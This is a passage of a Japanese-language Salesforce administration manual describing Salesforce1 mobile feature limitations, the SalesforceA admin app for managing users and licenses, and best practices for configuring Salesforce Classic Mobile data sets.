の作成問題カテゴリ

[名前] 項目が [リード] に設定されている場合、[関連先] 項目が引き
続き編集可能です。ただし、レコードを保存するときに [関連先]項目
にデータが含まれている場合はエラーが表示されます。

関連付けられた取引先責任者の [メール] 項目および [電話] 項目は表
示されません。

Shared Activities を使用して複数の取引先責任者を ToDo に関連付けること
はできません。

[新規 ToDo]クイックアクションを使用して定期的な ToDo を作成するこ
とはできませんが、ToDo リストの [新規 ToDo]ボタンを使用すれば作成
できます。
定期的な ToDo の繰り返しの詳細は編集できません。

添付ファイルは追加できません。

通知メールを送信することはできません。

ToDo アラームを設定することはできません。

電話番号項目に表示されるキーパッドには括弧、ハイフン、またはピ
リオドは含まれていません。また、Salesforce1 では、レコードの保存時

電話番号項目

に電話番号形式が適用されません。特定の電話番号形式を適用するに
は、フルサイトでレコードを編集します。

Salesforce1の関連リストからレコードを作成した後に表示される成功メッ
セージには、Lightning Experience のように新しいレコードへのリンクが
含まれません。

成功メッセー
ジ

重複管理: Salesforce1 で使用できない機能とその新機能
Salesforce1 アプリケーションの重複管理はフルサイトと似ていますが、次のような違いがあります。
• 重複の可能性があるたびに「重複カード」に表示されます。Salesforce1では、さらに重複の可能性があった

としても、表示されるのは最大 30 件 (オブジェクトあたり 10 件) です。
• 重複カードには 3 つの項目が表示されます。これらは、関連付けられたマッチングルールからではなく、

組織に定義された検索結果の形式から取得されます。
• レコードの編集または作成中に表示される重複カードをタップすると、入力した情報が失われます。
• デフォルトでは、レコードの項目入力が完了したときに重複ルールが実行されます。Salesforce Classicでは、

レコードを保存するときに重複ルールが実行されます。
• 取引先、取引先責任者、およびリードのマージはサポートされていません。
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承認: Salesforce1 で使用できない機能とその新機能
承認

次の承認関連のオプションは Salesforce1 モバイルアプリケーションでは使用できません。
• 承認申請の取り消し
• 承認申請の再割り当て
• 承認がロックされているレコードのロック解除
ユーザが次の承認者を手動で選択する場合、キューは使用できません。

承認申請の Salesforce1 通知
• 承認申請通知は、キューまたは代理承認者には送信されません。個人ユーザがモバイルアプリケーショ

ンで承認申請通知を受信できるように、キューを伴う各承認ステップで、割り当てられた承認者として
それらの個人ユーザを追加してください。割り当てられた承認者としてキューと個人ユーザの両方を設
定するには、承認ステップで [自動的にキューに割り当てる] の代わりに [自動的に承認者に割り当てる]

を選択します。
• 承認申請通知は、承認対象のレコードへのアクセス権を持つユーザのみに送信されます。レコードへの

アクセス権のない承認者は、承認通知メールを受信することはできますが、レコードアクセス権が付与
されるまで、承認申請を処理することはできません。

承認コメント
• Salesforce1 で [承認] または [却下] をタップすると、コメントを求めるプロンプトが表示されます。
• 承認の詳細ページにコメントは表示されません。[承認履歴] 関連リストには切り捨てられたコメントが

表示されます。レコードのすべての承認コメントを表示するには、Salesforceフルサイトを使用します。
[承認履歴] 関連リスト

• [承認履歴] 関連リストには [承認申請] ボタンがありません。
• コミュニティでの承認を操作する場合、ロールベースの外部ユーザが [承認履歴] 関連リストを参照して

そこからアクションを実行できますが、承認申請は送信できません。

オフラインアクセス: Salesforce1 で使用できない機能とその新機能

オフライン中のデータへのアクセス
Salesforce1 でキャッシュが有効になっている場合、ダウンロード可能アプリケーションのユーザはオフライン
で作業中にもキャッシュされたデータにアクセスできます。デフォルトでキャッシュされるデータは、Salesforce1

ナビゲーションメニューの [最近] セクションに表示される最初の 5 個のオブジェクトで最近アクセスしたレ
コードと、ユーザの最近の ToDo およびダッシュボードです。最近アクセスしたレコードは、Salesforce1 と
Salesforce フルサイト (Salesforce Classic および Lightning Experience) の両方でのユーザの活動によって決まります。
さらに、Salesforce1 セッション中にユーザがアクセスしたデータの多くがキャッシュに追加されます。
ユーザのモバイルデバイスがオフラインの場合は使用できないデータもあります。サポートされている内容全
体の概要については、「Salesforce1 がオフライン時に使用できるデータおよび UI 要素」を参照してください。

1279

Salesforce1 をユーザの手にSalesforce 組織の設定および管理



オフライン中のデータの更新 (ベータ)

アクションの作成、編集、および削除
• 最近アクセスしたオブジェクトのホームページで、[新規]ボタンを使用してレコードを作成します。ア

クションバーの新規レコードアクション ([新規 ToDo]や [新規取引先責任者]、または関連リストの [新規]

など) は、オフラインではサポートされていません。
• アクションバーの [編集]および [削除]アクションは、キャッシュされたレコードでのみ使用できます。

その他すべてのクイックアクション
• その他すべてのアクションバーアイコン ([活動の記録]、[投稿]、[所有者を変更]など) は、オフラインで

はサポートされていません。
最近のオブジェクトのレコードタイプ

• Salesforce1 は、オブジェクトごとに最大 15 個のユーザが最近アクセスしたレコードタイプをキャッシュ
します。組織でユーザの最近のオブジェクト (ユーザの Salesforce1ナビゲーションメニューの [最近] セク
ションに表示されている最初の 5 個のオブジェクト) に 15 個を超えるレコードタイプを定義している場
合、オフラインでレコードを作成するときはキャッシュされたレコードタイプのみ使用できます。ま
た、オフラインで編集できるのは、キャッシュされたレコードタイプに一致するレコードのみです。

ルックアップおよび選択リスト
• キャッシュされたレコードの連動ルックアップと選択リストは、レコードがキャッシュされる前にこれ

らの要素を操作していない限り、オフラインでサポートされません。
• ルックアップ検索条件はオフラインでサポートされていません。ユーザは、オフラインでデータを編集

しているときに関連する参照レコードの名前を入力できますが、ユーザのモバイルデバイスがオンライ
ンになるまで関連する参照レコードは検索されません。

• 非常に多くの項目や多数の選択リストが含まれる複雑なページレイアウトは、Salesforce1 でキャッシュ
するには多すぎるレコード数になる可能性があります。オフラインで最近アクセスしたレコードが期待
どおりに表示されない場合、これが原因だと考えられます。ユーザにとってこれが不都合である場合
は、影響を受けるオブジェクトのページレイアウトを再評価し、モバイル用に最適化できるかどうか確
認することをお勧めします。

メモ
• 画像が含まれるメモはオフラインで使用できません。
• 画像をオフラインでメモに追加することはできません。
• ユーザはオフラインでレコードにメモを関連付けることができません。

ToDo

• Salesforce1 の簡単な [新規 ToDo] フォームが無効になっている場合、ユーザはオフラインで ToDo の作成の
み実行できます。
1. [設定] から、[クイック検索] ボックスに「活動設定」と入力し、[活動設定] を選択します。
2. [簡単な新規 ToDo フォームを Salesforce1 に表示] をオフにします。
3. [送信] をクリックします。

• ToDo のチェックボックスのオンまたはオフは、オフラインではサポートされていません。
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コミュニティ
• Salesforce Communities はオフラインではサポートされていません。

Salesforce のカスタマイズ: Salesforce1 で使用できない機能とその新機能
カスタムホームページ
• Salesforce1 では、Salesforce フルサイトが実行するような、Salesforce アプリケーションまたはカスタムホーム

タブへのログイン時のリダイレクトをサポートしていません。モバイルブラウザから Salesforce にログイン
するユーザがこのリダイレクト機能を引き続き利用する場合は、Salesforce1 モバイルブラウザアプリケー
ションをオフにしてください。この操作は、ユーザごとまたは組織全体に対して実行できます。

カスタムアクションおよびボタン
• ページレイアウトの [ボタン] セクションに追加されたカスタムボタン、およびコンテンツソースを URL ま

たは Visualforce として定義するカスタムボタンは、Salesforce1 でサポートされています。Salesforce1 で
Visualforce ページが有効になっている必要があります。
カスタムリンク、リストビューに追加されたカスタムボタン、および OnClick JavaScript がコンテン
ツソースとして定義されているカスタムボタンは、Salesforce1 で使用できません。

• Salesforce Classic で URL カスタムボタンを使用してパラメータを標準ページに渡している場合 (レコードの作
成時に項目に事前入力する場合など)、Salesforce1 や Lightning Experience ではこの動作は機能しません。

• アクションアイコンに使用するカスタムイメージのサイズは、1 MB 未満にする必要があります。
Lightning ページ
• Lightning ページの領域には 25 個を超えるコンポーネントを追加できません。
Visualforce ページ
• Visualforce ページよって上書きされた標準タブ、カスタムオブジェクトタブ、およびリストビューは、

Salesforce1 ではサポートされません。Visualforce ページはフルサイトのユーザに表示されますが、Salesforce1

ユーザには、代わりにオブジェクトのデフォルトの Salesforce1 ページが表示されます。この制限は、オブ
ジェクトに対する Salesforce1 の操作性を維持するために設定されています。

• Salesforce1 には Visualforce ページに対する追加の制限と制約があります。詳細は、『Salesforce1 モバイルアプ
リケーション開発者ガイド』の「Visualforce のガイドラインとベストプラクティス」を参照してください。

プログラムによるカスタマイズ
• Web タブおよび Sコントロールの UI へのプログラムによるカスタマイズはサポートされていません。
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SalesforceA を使用したあらゆる場所からのユーザサポート
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

SalesforceA を使用する
• 「ユーザの管理」

SalesforceA は、Salesforce システム管理者向けのモバイルアプリケーションです。
離席中や外出中でも、携帯電話やタブレットを使用して、パスワードのリセッ
ト、ユーザの凍結、現在のシステム状況の表示など、基本的な管理作業を実行
できます。
SalesforceA は無料です。Android 携帯電話およびタブレット用は Google Play Store か
ら、Apple iPhone、iPod Touch、iPad 用は Apple App Store からダウンロードしてくだ
さい。

SalesforceA オプション
モバイルデバイスからユーザを管理し、Salesforce 組織の情報を参照できま
す。
SalesforceA へのログイン
SalesforceAモバイルアプリケーションにログインすると、Salesforce組織に関す
る基本的な管理作業を実行できます。
SalesforceA を使用した複数組織へのログイン
モバイルデバイスで SalesforceA を使用し、管理する複数の Salesforce 組織にロ
グインできます。一度ログインしたら、再びログインプロセスを実行せずに
組織を切り替えることができます。
SalesforceA を使用した新規ユーザの作成
モバイルデバイスでSalesforceAを使用して、新しいユーザを作成します。新規ユーザの作成は、iOS バージョ
ン 3.3 以降の SalesforceA で使用できます。
SalesforceA を使用したユーザライセンスの再割り当て
SalesforceAを使用して新しいユーザを作成したときに、新しく作成したユーザに割り当てるのに十分なユー
ザライセンスが組織にないことがあります。その場合も心配する必要はありません。SalesforceAは新しく作
成したユーザを無効なユーザとして保存します。新しく作成したユーザを無効から有効に変更するには、
ユーザライセンスを既存のユーザから新しく作成したユーザに再割り当てすることができます。ユーザラ
イセンスの再割り当ては、iOS バージョン 3.3 以降の SalesforceA で使用できます。

1282

SalesforceA を使用したあらゆる場所からのユーザサポー
ト

Salesforce 組織の設定および管理



SalesforceA オプション

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

SalesforceA を使用する
• 「ユーザの管理」

モバイルデバイスからユーザを管理し、Salesforce 組織の情報を参照できます。
組織の概要

概要画面には次の情報が表示されます。
• 凍結中およびロックアウト中のユーザ数
• 信頼状況
• 最近参照したユーザ

Android ユーザの場合、ナビゲーションアイコンは、左上にあります。ナビゲーションアイコンをタップし
てナビゲーションメニューに移動します。
iOS ユーザの場合、ナビゲーションは画面下部のアクションバーから行います。

ユーザ管理
ナビゲーションメニューから [ユーザ] をタップすると、ユーザリストの表示やユーザの検索を行うことが
できます。名前をタップすると、次の操作を実行できます。
• ユーザの詳細の表示または編集
• ユーザの凍結、無効化、または再有効化
• ユーザのパスワードのリセット
• 権限セットの割り当て (iOS のみ)

• 新規ユーザの作成 (iOS のみ)
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[関連] ページにスワイプすると、次の情報が表示されます。
• ユーザの現在の権限セット
• ユーザのログイン履歴

追加情報
[リソース] ページから、次の機能や情報にすばやくアクセスできます。
• システム管理者向けニュースおよびイベント
• Trailhead

• Salesforce トラスト
• Salesforce アンサー
• Salesforce リリースノート
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SalesforceA へのログイン

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

SalesforceA を使用する
• 「ユーザの管理」

SalesforceA モバイルアプリケーションにログインすると、Salesforce 組織に関する
基本的な管理作業を実行できます。
Salesforceシステム管理者は、SalesforceAを使用して本番組織 (デフォルト)、Sandbox

環境、またはカスタムホストにログインできます。ホストメニューで環境また
はホストを選択します。
• iOS ユーザの場合: ログイン画面の右上隅のギアアイコンでホストメニューを

開きます。
• Android ユーザの場合: ログイン画面の右上隅にあるアクションオーバーフロー

ボタンからホストメニューを開きます。
メッセージが表示されたら、モバイルデバイスの追加セキュリティレイヤとし
てパスコードを入力します。このセキュリティ設定は、Salesforce デスクトップ
ブラウザアプリケーションの [設定]から、[接続アプリケーション]の [SalesforceA]

用エントリで管理します。
ログインすると、概要画面が表示されます。
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関連トピック:

SalesforceA を使用した複数組織へのログイン

1286

SalesforceA を使用したあらゆる場所からのユーザサポー
ト

Salesforce 組織の設定および管理



SalesforceA を使用した複数組織へのログイン

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

SalesforceA を使用する
• 「ユーザの管理」

モバイルデバイスでSalesforceAを使用し、管理する複数のSalesforce組織にログイ
ンできます。一度ログインしたら、再びログインプロセスを実行せずに組織を
切り替えることができます。
1. ナビゲーションアイコンをタップしてメニューに移動します。iOS ユーザの

場合は、[さらに表示] をタップします。
2. ユーザ名の横にある下向き矢印をタップします。アカウントのリストが表示

されます。
3. 前に保存したユーザ名を選択するか、[+ アカウントを追加] をタップしてア

カウントを追加します。
4. Sandboxまたはカスタムホストを選択するには、右上にあるギアアイコン (iOS

ユーザ) または右上にあるアクションオーバーフローボタン (Android ユーザ)

をタップして、目的のホストに切り替えます。
アカウントのリストから、次の操作を実行できます。
• 組織を切り替える
• 各組織が本番か Sandbox かを確認する (iOS のみ)

• 各組織のエディションを確認する (iOS のみ)

アカウントセレクタを閉じるには上矢印をクリックします。

1287

SalesforceA を使用したあらゆる場所からのユーザサポー
ト

Salesforce 組織の設定および管理



SalesforceA を使用した新規ユーザの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

SalesforceA を使用する
• 「ユーザの管理」

モバイルデバイスで SalesforceA を使用して、新しいユーザを作成します。新規
ユーザの作成は、iOS バージョン 3.3 以降の SalesforceA で使用できます。
1. [ユーザ] ページで、[+] をタップします。
2. ユーザの名前とメールアドレスを入力し、さらに一意のユーザ名をメールア

ドレス形式で入力します。デフォルトでは、ユーザ名はメールアドレスと同
じです。

3. [ユーザライセンス]を選択します。ユーザライセンスによって、そのユーザ
に利用可能なプロファイルが決まります。

4. ユーザの最小限権限およびアクセス設定を指定するプロファイルを選択しま
す。

5. Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および
Developer Edition では、[ロール] を選択します。

6. [パスワードをリセットしてユーザにすぐに通知する] を選択して、ユーザの
ログイン名と仮のパスワードが新規ユーザにメールで通知されるようにしま
す。

7. [保存] をタップします。

メモ: ユーザ名は、すべての Salesforce 組織で一意である必要があります。
ユーザ名は、メールアドレスの形式である必要があります (jane@salesforce.com

など)。このメールユーザ名は、機能する必要はありません。アカウントに
関連付けられるメールアドレスは組織間で重複していてもかまいませんが、
メールアドレス形式のユーザ名のみは一意にする必要があります。
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新規ユーザ分のユーザライセンスが十分にない場合でも、新規ユーザを作成することができます。SalesforceA

では新規ユーザのすべての項目が保存されますが、ユーザは無効な状態になります。無効なユーザの状態を有
効に変更するには、ライセンスを既存のユーザから新しく作成したユーザに再割り当てする必要があります。
新規ユーザの作成に関するガイドラインについては、Salesforceヘルプの「ユーザを追加するためのガイドライ
ン」を参照してください。

SalesforceA を使用したユーザライセンスの再割り当て

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

SalesforceA を使用する
• 「ユーザの管理」

SalesforceAを使用して新しいユーザを作成したときに、新しく作成したユーザに
割り当てるのに十分なユーザライセンスが組織にないことがあります。その場
合も心配する必要はありません。SalesforceA は新しく作成したユーザを無効な
ユーザとして保存します。新しく作成したユーザを無効から有効に変更するに
は、ユーザライセンスを既存のユーザから新しく作成したユーザに再割り当て
することができます。ユーザライセンスの再割り当ては、iOS バージョン 3.3 以
降の SalesforceA で使用できます。
1. 無効なユーザのページで [ライセンスを再割り当て] をタップします。
2. スクロールするか、[ユーザを検索] 検索バーを使用して、ユーザライセンス

の再割り当て元となる既存のユーザを見つけます。
3. 既存のユーザを見つけたら、[このライセンスを再割り当て]をタップします。
4. 変更を確認し、[OK] をタップします。
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Salesforce Classic Mobile での外出先での生産性サポート
エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

Salesforce Classic Mobile を使用すると、チームが、時間、場所を問わず必要なとき
に、Android™ や iPhone® などのデバイスから直接最新の Salesforce データを入手で
きます。
Salesforce Classic Mobile アプリケーションを使用すると、モバイルネットワークま
たは無線通信事業者ネットワークを介して Salesforce とデータを交換したり、モ
バイルデバイスのデータベースにあるユーザのデータのローカルコピーを保存
したりできます。データ接続ができない場合は、Salesforce レコードのローカル
コピーを編集しておき、再度接続できるようになってから Salesforce にこのよう
な変更を転送することができます。また、このアプリケーションでは、重要な
お客様からの電話、メール、訪問予約などの後にすぐSalesforce、またはForce.com

AppExchange アプリケーションに最新情報を直接入力することにより、重要な情
報をほぼリアルタイムで記録できます。
Salesforce Classic Mobileライセンスは Salesforce Classic Mobileを使用する各ユーザに必
要です。Unlimited Editon、Performance Editon、および Developer Edition を使用してい
る組織には、Salesforceライセンス 1 つにつきモバイルライセンスが 1 つ提供され
ます。Professional Edition または Enterprise Edition を使用している組織は、モバイル
ライセンスを別途購入しています。

メモ: Android および iPhone アプリケーションは、英語、日本語、フランス
語、ドイツ語、スペイン語で使用できます。組織で Salesforce Classic Mobileを
有効にするには、Salesforce にお問い合わせください。

デフォルトの Salesforce Classic Mobile 設定について
Salesforce Classic Mobile 実装のヒントとベストプラクティス
Salesforce Classic Mobileアプリケーションを設定する場合は、以下のヒント集と
ベストプラクティスを使用します。
Salesforce Classic Mobile の設定
Salesforce Classic Mobile 設定の管理
Salesforce Classic Mobile デバイスの管理
Salesforce Classic Mobile アプリケーションの制限
モバイルユーザの転送登録情報の表示
[モバイル転送の登録] ページでは、一般的なトラブルシューティング目的ですべてのユーザの転送登録情
報を表示できます。

関連トピック:

Salesforce Classic Mobile の設定
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デフォルトの Salesforce Classic Mobile 設定について

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

Salesforce Classic Mobile アプリケーションのモバイル設定とは、Salesforce がユーザ
のモバイルデバイスに転送するデータとそのデータをモバイルデバイスで受信
するユーザを決定するパラメータのセットです。Professional Edition、Enterprise

Edition、Unlimited Edition、Performance Edition、および Developer Edition を使用してい
る組織には、デフォルトのモバイル設定が提供されています。システム管理者
はデフォルトのモバイル設定を参照または編集できません。
Salesforce Classic Mobile アプリケーションを使用してサポートされたモバイルデバ
イスから Salesforce アカウントを有効にすると、そのユーザにはデフォルトのモ
バイル設定が自動的に割り当てられます。
デフォルトのモバイル設定では、次のようになります。
• モバイルライセンスを割り当てられているユーザは、モバイル設定にまだ割

り当てられていない場合でも、Salesforce Classic Mobileをインストールして有効
化できます。

Salesforce Classic Mobile を無効化して、ユーザがモバイルデバイスから Salesforce

Classic Mobile アプリケーションを有効化できないようにすることができます。
デフォルト設定を行うと、次のオブジェクトをモバイル化できます。
• 取引先
• 納入商品
• ケース
• 取引先責任者
• ダッシュボード
• 行動
• リード
• 商談
• レポート
• ソリューション
• ToDo

メモ:

• Salesforce Classic Mobileアプリケーションで使用できるすべてのオブジェクトが、デフォルト設定でモバ
イル化されるわけではありません。

• 納入商品は、Salesforce Classic Mobileアプリケーションではタブとして使用できませんが、取引先、ケー
スおよび取引先責任者の関連リストとして表示されます。

デフォルト設定では、ユーザが Salesforce Classic Mobile アプリケーションの Salesforce で最近アクセスしたレコー
ドが自動的に同期されます。ユーザは自動的に同期されていないレコードを検索することができます。ユーザ
がレコードをダウンロードすると、レコードはデータセットの永続的な部分となります。最近参照したデータ
の他に、デフォルト設定では、過去 5 日間に完了した活動と期限が 30 日以内の活動予定が同期されます。
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Salesforce Classic Mobile 実装のヒントとベストプラクティス

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

Salesforce Classic Mobile 設
定を表示する
• 「設定・定義を参照す

る」

Salesforce Classic Mobile 設
定を作成、変更、または
削除する
• 「モバイル設定の管

理」

Salesforce Classic Mobile アプリケーションを設定する場合は、以下のヒント集とベ
ストプラクティスを使用します。

無駄のないデータセットの作成
• モバイル設定内のデータセットは可能な限り小さくします。無駄のないデー

タセットは、Salesforce Classic Mobileアプリケーションのパフォーマンスを大幅
に向上させるだけでなく、アプリケーションを使いやすくします。大量の
データをデバイスに保存することは優れた考えのように思われますが、ユー
ザの日常の活動に関係しないレコードの中で、重要なレコードが見失われま
す。Salesforce Classic Mobile アプリケーションは 20 分おきに Salesforce と同期す
るため、データは新しいレコードと更新されたレコードで絶えず更新されま
す。このため、小さいデータセットは強力です。ユーザが必要とする可能性
のあるすべてのレコードがモバイル設定で考慮されていなくても、ユーザは
デバイスに自動的に同期されないレコードを検索できます。
小さいデータセットを構築する手順は、次のとおりです。
– データセットツリー内でデータを階層化します。たとえば、取引先責任

者を取引先オブジェクトの子データセットとして追加します。これによ
り、データセットには、ユーザのすべての取引先責任者ではなく、モバ
イル化された取引先に関連する取引先責任者が含まれます。

– 組織で非公開共有モデルが使用されていない限り、レコードの所有者条
件を [すべてのレコード] に設定しないようにします。ユーザがデバイス
でオブジェクトのすべてのレコードを参照する必要があることは考えら
れません。たとえば、すべての商談レコードをモバイル化する代わりに、
ユーザまたはユーザの商談チームが所有する商談のみをモバイル化しま
す。

– 最も関連性のあるレコードを同期する条件を使用します。たとえば、デ
バイスに保存する商談をユーザが所有するレコードに制限している場合
であっても、今月に成立した商談のみをモバイル化することで、データ
セットをさらに削ることができます。

– レコード制限を設定して、データセットが過度に大きくならないように
します。一般的に、1 つのデータセットで生成されるレコードは 2,500 件
以下です。

• 無駄のないデータセットを構築するもう 1 つの方法は、Salesforce で最近使用
したデータのリストをモバイル化し、データセットを追加して、データセッ
トでのレコードの所有者条件を [なし (検索のみ)] に設定することです。Salesforce

内で最近アクセスされたレコードがユーザのデータセットに取り込まれ、そ
のレコードによって、追加のデータがデータセット階層に基づいて同期されます。たとえば、取引先オブ
ジェクトを含むデータセットをルートレベルで作成し、取引先責任者、ToDo、行動の各オブジェクトを子
データセットとして追加します。Salesforce Classic Mobile アプリケーションによって、取引先が Salesforce の最
近使ったデータのリストから同期されると、その取引先に関連する取引先責任者、ToDo、行動も同期され
ます。
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• データセットまたはモバイルビューの検索条件として使用する項目が不明な場合は、[最終活動日] 項目の
使用を検討します。たとえば、今週または今月に記録された活動と取引先責任者を同期する検索条件を設
定します。[最終活動日] 項目は、レコードの関連を示す指標として [最終更新日] 項目よりも適しています。
関連する ToDo や行動をユーザが頻繁に記録することがあっても、多くの場合、レコードの主要な情報は変
更されません。

ユーザが必要なレコードのモバイル化
• カスタムオブジェクトをモバイル化する前に、オブジェクトの機能に Salesforce Classic Mobileアプリケーショ

ンとの互換性があることを確認します。Salesforce Classic Mobileでは、Sコントロール、マッシュアップ、差し
込み項目、画像項目、カスタムリンクがサポートされません。

• 関連する活動セットを取得するには、ToDo と行動のオブジェクトをデータセット階層のルートレベルでモ
バイル化し、そのオブジェクトを親オブジェクト (取引先責任者、取引先、商談など) の下にネストします。
ToDo と行動を複数のレベルに追加することで、ユーザは、個人の活動と、デバイス上のレコードに関連す
る活動を確認できます。活動履歴、またはユーザが所有者ではない ToDo と行動を多くモバイル化しないよ
うにします。一般的に、組織内の ToDo と行動のレコードは他の種別のレコードよりも多くなります。した
がって、大量の活動によってデータセットは簡単に膨張します。

• 営業担当が現場で頻繁に指示を受け取るため、包括的な一覧を必要とする場合、商品オブジェクトをデー
タセット階層のルートレベルに追加します。商談商品オブジェクトを商談オブジェクトの下にネストする
と、一部の製品がモバイル化されない場合があります。

• ユーザが ToDo を他のユーザに割り当てたり、所有者を変更したりする必要がある場合は、ユーザオブジェ
クトをモバイル化して、他のユーザの名前をデバイスで使用できるようにします。すべてのユーザレコー
ドをモバイル化することは避けます。代わりに、ロールまたはプロファイルに基づいて検索条件を設定し
ます。

• モバイル設定に割り当てるユーザには、設定の検索条件で使用するすべての項目に対して項目レベルのア
クセス権を与えます。データセットの検索条件内の項目に対するアクセス権がユーザに与えられていない
場合、Salesforce Classic Mobile アプリケーションでは、そのデータセットまたはその子データセットのレコー
ドが同期されません。

• 場合によっては、クロスオブジェクト数式項目を使用して、Salesforce Classic Mobile アプリケーションの制限
を回避することもできます。たとえば、Salesforce Classic Mobile ではキャンペーンがサポートされていないた
め、キャンペーンオブジェクトをデータセットとして追加し、商談オブジェクトをその子データセットと
して追加して、関連するレコードを取得することができません。ただし、親キャンペーンの名前と同じ商
談オブジェクトのテキスト数式項目を作成できます。この項目は、表示する必要はありますが、ページレ
イアウトに含める必要はありません。次に、商談オブジェクトをデータセットに追加し、新しい数式項目
を使用して、特定のキャンペーンに関連する商談を絞り込みます。

• モバイル設定では、1 つのオブジェクトがデータセット階層内の複数のレベルに含まれる場合があります
が、Salesforce Classic Mobileアプリケーション内でタブは重複しません。ToDo オブジェクトをルートレベルで
モバイル化し、さらに 3 つのオブジェクトの子データセットとしてモバイル化しても、デバイスに表示さ
れる [ToDo] タブは 1 つのみです。
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モバイル設定のカスタマイズ
• モバイル設定内のオブジェクトから項目を除外して、モバイルページレイアウトをクリーンアップします。

デバイスに送信されるデータが減少し、モバイルユーザは不必要な項目をスクロールする必要がなくなり
ます。

• [ダッシュボード] タブをモバイル化する場合、Salesforce Classic Mobile アプリケーションに表示する必要のあ
る他のすべてのタブを選択していることを確認します。モバイル設定のタブをカスタマイズすると、デフォ
ルトのタブセットが上書きされます。[ダッシュボード] タブのみをモバイル化する場合、[ダッシュボード]

タブがデバイスに送信される唯一のタブになります。
• モバイルデバイスの画面サイズは小さいため、モバイルビューで選択できる表示列は 2 つのみです。3 つの

データ列が必要な場合、3 つの項目を連結するオブジェクトのテキスト数式項目を作成し、モバイルビュー
の条件でその数式項目を使用します。

• モバイルビューを作成する場合、$User.ID グローバル変数で現在のユーザに基づいて検索することができま
すが、検索条件の値としてユーザ名を入力することはできません。ユーザに基づいてビューを作成するに
は、適切なオブジェクトにテキスト数式項目を作成し、モバイルビューの条件でその数式項目を使用しま
す。たとえば、商談チームが所有する商談を表示するビューを作成するには、商談の所有者のユーザ ID ま
たはロールを含む商談オブジェクトにテキスト数式項目を作成し、その項目内の値について条件検索する
ビューを作成します。

モバイル機能のテストとリリース
• モバイル設定をテストして、同期されるデータ量が受け入れ可能であることを確認することが重要です。

大量のレコードを所有する有効ユーザに対して設定をテストします。通常、ほとんどのデータセットでは、
500 KB ～ 4 MB のデータが生成されます。データセットが 4 MB を超える場合、検索条件の絞り込みを行い、
デバイスに送信するデータ量を制限します。

• Salesforce Classic Mobile アプリケーションは、組織にリリースする前に、Sandbox で使用できます。
• Salesforce Classic Mobileアプリケーションを使用するには、データ計画が必要です。Salesforce Classic Mobileアプ

リケーションのワイヤレスデータ量は顧客によって大きく異なります。また、同じ組織内のユーザ間でも
大きく異なります。組織のデータ使用量を予測することは不可能ですが、いくつかのガイドラインがあり
ます。
– 初期データダウンロードには、ユーザのモバイル設定に指定された条件に一致するレコードと、切断時

にそのレコードをサポートするために必要なメタデータが含まれます。データサイズは平均で 500 KB ～
4 MB になります。

– データの初期ダウンロード以降は、クライアントアプリケーションによって増分更新要求が 20 分おき
に起動されます。各要求と、それに対応するサーバ応答は、約 200 バイトです。

– 更新要求の結果としてクライアントアプリケーションに新しいデータがダウンロードされる場合、新し
い値または変更された値のみが送信されます。たとえば、Salesforce Classic Mobileアプリケーションでは、
取引先責任者レコード全体ではなく、取引先責任者レコード内の新しい電話番号のみがダウンロードさ
れます。転送されるデータ量は、組織およびユーザごとに異なります。

一般的に、Salesforce Classic Mobile アプリケーションでは、中程度のメール使用量と比較して、転送される
データ量は少なくなります。
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ベストプラクティス
• モバイル設定を定義する前に、ゼロ管理リリースオプションを使用して、Salesforce Classic Mobile アプリケー

ションを試行します。Salesforce Classic Mobile アプリケーションの使用を試みた場合、モバイル設定に対する
適切な青写真を作ることができます。

• ユーザが望むレポート、ビュー、ダッシュボードについてユーザと話し合い、モバイル設定で使用する検
索条件に関するアイデアを得ます。

• モバイル設定の定義が完了したら、Salesforce Classic Mobile アプリケーションを、選択したユーザグループに
限定的にリリースします。このユーザからのフィードバックに基づいてモバイル設定を調整した後、すべ
てのユーザにリリースします。
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Salesforce Classic Mobile の設定

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
